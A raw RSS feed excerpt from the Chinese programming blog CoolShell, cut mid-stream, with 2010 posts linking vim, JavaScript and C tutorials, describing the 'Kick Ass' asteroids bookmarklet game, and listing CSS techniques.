class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3089.html\">Google未公开API：转MAC地址为经纬度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3089.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>三个教程</title>\n\t\t<link>https://coolshell.cn/articles/3083.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3083.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 09 Oct 2010 06:06:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[vi]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3083</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>第一个是关于vim的，相当的全面。 http://stevelosh.com/blog/2010/09/coming-home-to-vim/ 第二个是Mozi...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3083.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3083.html\">三个教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>第一个是关于vim的，相当的全面。</p>\n<p><a href=\"http://stevelosh.com/blog/2010/09/coming-home-to-vim/\" target=\"_blank\">http://stevelosh.com/blog/2010/09/coming-home-to-vim/</a></p>\n<p>第二个是Mozilla的Javascript教程</p>\n<p><a href=\"https://developer.mozilla.org/en/JavaScript/Guide\" target=\"_blank\">https://developer.mozilla.org/en/JavaScript/Guide</a></p>\n<p>第三个是Kernighan 和Ritchie 的 &#8220;The C Programming Language&#8221;第二版的问答和练习。</p>\n<p><a href=\"http://users.powernet.co.uk/eton/kandr2/\" target=\"_blank\">http://users.powernet.co.uk/eton/kandr2/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3083.html\">三个教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3083.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Kick Ass小游戏</title>\n\t\t<link>https://coolshell.cn/articles/3070.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3070.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 08 Oct 2010 06:06:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3070</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得以前那个在IE的已打开的网页上的网址里输入一段javascript的代码后，你会发现这个页面里所有的图片元素都动了起来：（只能在IE浏览器里，Chrome...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3070.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3070.html\">Kick Ass小游戏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得以前那个在IE的已打开的网页上的网址里输入一段javascript的代码后，你会发现这个页面里所有的图片元素都动了起来：（只能在IE浏览器里，Chrome和Firefox无效）</p>\n<blockquote><p>javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position=&#8217;absolute&#8217;; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval(&#8216;A()&#8217;,5); void(0);</p></blockquote>\n<p>很类似一个叫Erik Rothoff Andersson的人又搞了<a href=\"http://erkie.github.com/\" target=\"_blank\">Kick Ass的游戏</a>，代码如下：（用了一个js文件，所以就显得没有那么复杂了，但只能在Chrome和Firefox下有用）</p>\n<blockquote><p>javascript:var s=document.createElement(&#8216;script&#8217;); s.type=&#8217;text/javascript&#8217;;document.body.appendChild(s); s.src=&#8217;http://erkie.github.com/asteroids.min.js&#8217;;void(0);</p></blockquote>\n<p>在已打开的网页上输入这段代码，你会发现网页的左上角上出现了一个三角形，然后，你可以开始使用</p>\n<ul>\n<li>“左右方向键控制方向”，</li>\n<li>“上方向键控制前进”，</li>\n<li>“空格射击”，</li>\n<li>“B键查看有什么东西可以被射击”，</li>\n<li>“Esc键退出”，</li>\n</ul>\n<p>于是就出现好玩的东西了。</p>\n<p>为了方便你试验，你可以点击上面的这个链接，</p>\n<p style=\"text-align: center;\"><span style=\"font-size: large;\"><a href=\"javascript:var%20s%20=%20document.createElement('script');s.type='text/javascript';document.body.appendChild(s);s.src='http://erkie.github.com/asteroids.min.js';void(0);\"><strong>Kiss Ass</strong></a></span></p>\n<p>你可以把这个链接加入收藏夹，当你需要删除某些网页上的广告或是很让你不爽的东西时，打开这个网址，就可以开始了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3070.html\">Kick Ass小游戏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3070.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>40个很不错的CSS技术</title>\n\t\t<link>https://coolshell.cn/articles/3063.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3063.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 08 Oct 2010 00:04:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3063</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前发布过《30种时尚的CSS网站导航条》，下面是40个CSS的技术，可以让你的网页有更好的用户体验。希望你喜欢 1. A CSS styled table v...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3063.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3063.html\">40个很不错的CSS技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前发布过《<a title=\"30种时尚的CSS网站导航条 \" href=\"https://coolshell.cn/articles/562.html\" target=\"_blank\">30种时尚的CSS网站导航条</a>》，下面是40个CSS的技术，可以让你的网页有更好的用户体验。希望你喜欢</p>\n<h4>1. <a href=\"http://veerle.duoh.com/blog/comments/a_css_styled_table_version_2/\">A CSS styled table version 2</a></h4>\n<p><a href=\"http://veerle.duoh.com/blog/comments/a_css_styled_table_version_2/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5088\" title=\"1css46\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/1css46.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>2.<a href=\"http://nidahas.com/2006/12/06/forms-markup-and-css-revisited/\"> A CSS-based Form Template</a></h4>\n<p><a href=\"http://nidahas.com/2006/12/06/forms-markup-and-css-revisited/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5089\" title=\"2 css_based_form_template\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/2-css_based_form_template.gif\" alt=\"\" width=\"450\" height=\"180\" /></a></p>\n<p><span id=\"more-3063\"></span></p>\n<h4>3. <a href=\"http://www.wpdfd.com/issues/82/list_style_inspiration/\">A Stripe of List Style Inspiration</a></h4>\n<p><a href=\"http://www.wpdfd.com/issues/82/list_style_inspiration/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5090\" title=\"3list-style\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/3list-style.png\" alt=\"\" width=\"400\" height=\"204\" /></a></p>\n<h4>4. <a href=\"http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/\">Accessible expanding and collapsing menu</a></h4>\n<p><a href=\"http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5091\" title=\"4\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/4.gif\" alt=\"\" width=\"416\" height=\"173\" /></a></p>\n<h4>5. <a href=\"http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/\">Advanced CSS Menu Trick</a></h4>\n<p><a href=\"http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5092\" title=\"5css\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/5css.png\" alt=\"\" width=\"491\" height=\"176\" /></a></p>\n<h4>6. <a href=\"http://www.pmob.co.uk/pob/animated.htm\">Animated Rollover Arrow</a></h4>\n<p><a href=\"http://www.pmob.co.uk/pob/animated.htm\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5093\" title=\"6animated_roll_over\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/6animated_roll_over.jpg\" alt=\"\" width=\"450\" height=\"180\" /></a></p>\n<h4>7. <a href=\"http://i.imgur.com/dYFBl.png\">Animations</a></h4>\n<p><a href=\"http://i.imgur.com/dYFBl.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-5094\" title=\"7animation\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/7animation-580x203.jpg\" alt=\"\" width=\"580\" height=\"203\" /></a></p>\n<h4>8. <a href=\"http://i.imgur.com/OcbHO.png\">Background Size</a></h4>\n<p><a href=\"http://i.imgur.com/OcbHO.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-5095\" title=\"8bgsize\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/8bgsize-580x203.jpg\" alt=\"\" width=\"580\" height=\"203\" /></a></p>\n<h4>9. <a href=\"http://css-tricks.com/better-ordered-lists-using-simple-php-and-css/\">Better Ordered Lists</a> (Using Simple PHP and CSS)</h4>\n<p><a href=\"http://css-tricks.com/better-ordered-lists-using-simple-php-and-css/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5096\" title=\"9css\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/9css.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>10. <a href=\"http://i.imgur.com/e5VlA.png\">Box Shadow</a></h4>\n<p><a href=\"http://i.imgur.com/e5VlA.png\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-5097\" title=\"10shadow\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/10shadow-580x203.jpg\" alt=\"\" width=\"580\" height=\"203\" /></a></p>\n<h4>11. <a href=\"http://www.askthecssguy.com/2007/08/creating_a_table_with_dynamica.html\">Creating a table with dynamically highlighted columns</a></h4>\n<p><a href=\"http://www.askthecssguy.com/2007/08/creating_a_table_with_dynamica.html\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5098\" title=\"11\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/11.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>12. <a href=\"http://www.456bereastreet.com/archive/200705/creating_bulletproof_graphic_link_buttons_with_css/\">Creating bulletproof graphic link buttons with CSS | 456 Berea Street</a></h4>\n<p><a href=\"http://www.456bereastreet.com/archive/200705/creating_bulletproof_graphic_link_buttons_with_css/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5099\" title=\"12css\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/12css.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>13. <a href=\"http://www.cssnewbie.com/12-creative-and-cool-uses-for-the-css-border-property/\">Creative and Cool Uses of the CSS Border Property</a></h4>\n<p><a href=\"http://www.cssnewbie.com/12-creative-and-cool-uses-for-the-css-border-property/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5100\" title=\"13CSS-Border-Property\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/13CSS-Border-Property.jpg\" alt=\"\" width=\"537\" height=\"189\" /></a></p>\n<h4>14. <a href=\"http://www.digital-web.com/articles/web_standards_creativity_png/\">Creative Use of PNG Transparency in Web Design</a></h4>\n<p><a href=\"http://www.digital-web.com/articles/web_standards_creativity_png/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5101\" title=\"14css02\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/14css02.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>15. <a href=\"http://www.cssplay.co.uk/menu/slide_show\">Cross Browser CSS SlideShow</a></h4>\n<p><a href=\"http://www.cssplay.co.uk/menu/slide_show\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-large wp-image-5102\" title=\"15cross-browser-slide-show\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/15cross-browser-slide-show-580x384.jpg\" alt=\"\" width=\"580\" height=\"384\" /></a></p>\n<h4>16. <a href=\"http://www.cssplay.co.uk/menu/lightbox.html#Portraits\">Cross Browser Multi-Page Photograph Gallery</a></h4>\n<p><a href=\"http://www.cssplay.co.uk/menu/lightbox.html#Portraits\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5103\" title=\"16_cross_browser_image_galler\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/16_cross_browser_image_galler.jpg\" alt=\"\" width=\"450\" height=\"180\" /></a></p>\n<h4>17. <a href=\"http://applestooranges.com/blog/post/css-for-bar-graphs/?id=55\">CSS Bar Graphs: Examples</a></h4>\n<p><a href=\"http://applestooranges.com/blog/post/css-for-bar-graphs/?id=55\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5104\" title=\"17_css_bar_graph_example\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/17_css_bar_graph_example.jpg\" alt=\"\" width=\"450\" height=\"180\" /></a></p>\n<h4>18. <a href=\"http://www.nundroo.com/navigation/\">CSS Based Navigation</a></h4>\n<p><a href=\"http://www.nundroo.com/navigation/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5105\" title=\"18 css-techniques0000\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/18-css-techniques0000.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>19. <a href=\"http://storage.couchfort.net/cssCurves/\">CSS Curves</a></h4>\n<p><a href=\"http://storage.couchfort.net/cssCurves/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5106\" title=\"19css-techniques0014\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/19css-techniques0014.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>20. <a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\">CSS Dock Menu</a></h4>\n<p><a href=\"http://www.ndesign-studio.com/blog/mac/css-dock-menu\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5107\" title=\"20\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/20.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>21. <a href=\"http://mikecherim.com/experiments/css_double_lists.php\">CSS Double Lists</a></h4>\n<p><a href=\"http://mikecherim.com/experiments/css_double_lists.php\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5108\" title=\"21css37\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/21css37.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>22. <a href=\"http://www.smashingmagazine.com/2006/12/29/css-based-tables-modern-solutions/\">CSS-Based Tables: Technique</a></h4>\n<p><a href=\"http://www.smashingmagazine.com/2006/12/29/css-based-tables-modern-solutions/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5109\" title=\"22css-techniques0025\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/22css-techniques0025.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>23. <a href=\"http://www.webdesignerwall.com/tutorials/css-gradient-text-effect/\">CSS Gradient Text Effect</a></h4>\n<p><a href=\"http://www.webdesignerwall.com/tutorials/css-gradient-text-effect/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5110\" title=\"23_css_text_gradient\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/23_css_text_gradient.jpg\" alt=\"\" width=\"450\" height=\"180\" /></a></p>\n<h4>24. <a href=\"http://mikecherim.com/gbcms_xml/news_page.php?id=24#n24\">CSS List Boxes</a></h4>\n<p><a href=\"http://mikecherim.com/gbcms_xml/news_page.php?id=24#n24\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5111\" title=\"24listboxes\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/24listboxes.jpg\" alt=\"\" width=\"500\" height=\"113\" /></a></p>\n<h4>25. <a href=\"http://mikecherim.com/experiments/css_map_pop.php\">CSS Map Pop</a></h4>\n<p><a href=\"http://mikecherim.com/experiments/css_map_pop.php\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5112\" title=\"25css-techniques0021\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/25css-techniques0021.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>26. <a href=\"http://www.askthecssguy.com/2007/09/sangeeta_asks_the_css_guy_how_1.html\">CSS Pricing Matrix</a></h4>\n<p><a href=\"http://www.askthecssguy.com/2007/09/sangeeta_asks_the_css_guy_how_1.html\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5113\" title=\"26csspricingmatrix\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/26csspricingmatrix.png\" alt=\"\" width=\"438\" height=\"156\" /></a></p>\n<h4>27. <a href=\"http://24ways.org/2006/css-production-notes\">CSS Production Notes</a></h4>\n<p><a href=\"http://24ways.org/2006/css-production-notes\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5114\" title=\"27\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/27.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>28. <a href=\"http://www.designmeme.com/articles/csspullquotes/\">CSS Pull Quotes</a></h4>\n<p><a href=\"http://www.designmeme.com/articles/csspullquotes/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5115\" title=\"28css36\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/28css36.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>29. <a href=\"http://www.smileycat.com/miaow/archives/000044.php#nojavascript\">CSS Rounded Corners Roundup</a> (Nifty Corners)</h4>\n<p><a href=\"http://www.smileycat.com/miaow/archives/000044.php#nojavascript\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5116\" title=\"29css-techniques0008\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/29css-techniques0008.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>30. <a href=\"http://wordpress.betech.virginia.edu/index.php/2007/10/03/css-sitemap/\">CSS SiteMap</a></h4>\n<p><a href=\"http://wordpress.betech.virginia.edu/index.php/2007/10/03/css-sitemap/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5117\" title=\"30css42\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/30css42.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>31. <a href=\"http://www.willmayo.com/2007/02/10/css-speech-bubbles/\">CSS Speech Bubbles</a></h4>\n<p><a href=\"http://www.willmayo.com/2007/02/10/css-speech-bubbles/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5118\" title=\"31best-of-february-03\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/31best-of-february-03.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>32. <a href=\"http://www.thewojogroup.com/2008/12/css-stacked-bar-graphs/\">CSS Stacked Bar Graphs</a></h4>\n<p><a href=\"http://www.thewojogroup.com/2008/12/css-stacked-bar-graphs/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5119\" title=\"32stacked-bar-graph\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/32stacked-bar-graph.jpg\" alt=\"\" width=\"444\" height=\"305\" /></a></p>\n<h4>33. <a href=\"http://codylindley.com/CSS/325/css-step-menu\">CSS Step Menu</a></h4>\n<p><a href=\"http://codylindley.com/CSS/325/css-step-menu\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5120\" title=\"33css52\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/33css52.png\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>34. <a href=\"http://exploding-boy.com/images/cssmenus/menus.html\">CSS Tabs</a></h4>\n<p><a href=\"http://exploding-boy.com/images/cssmenus/menus.html\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-5121\" title=\"34css-techniques0002\" src=\"http://technologytosoftware.com/wp-content/uploads/2010/09/34css-techniques0002.gif\" alt=\"\" width=\"485\" height=\"170\" /></a></p>\n<h4>35. <a href=\"http://www.456bereastreet.com/lab/teaser/\">CSS Teaser Box</a></h4>\n<p><a 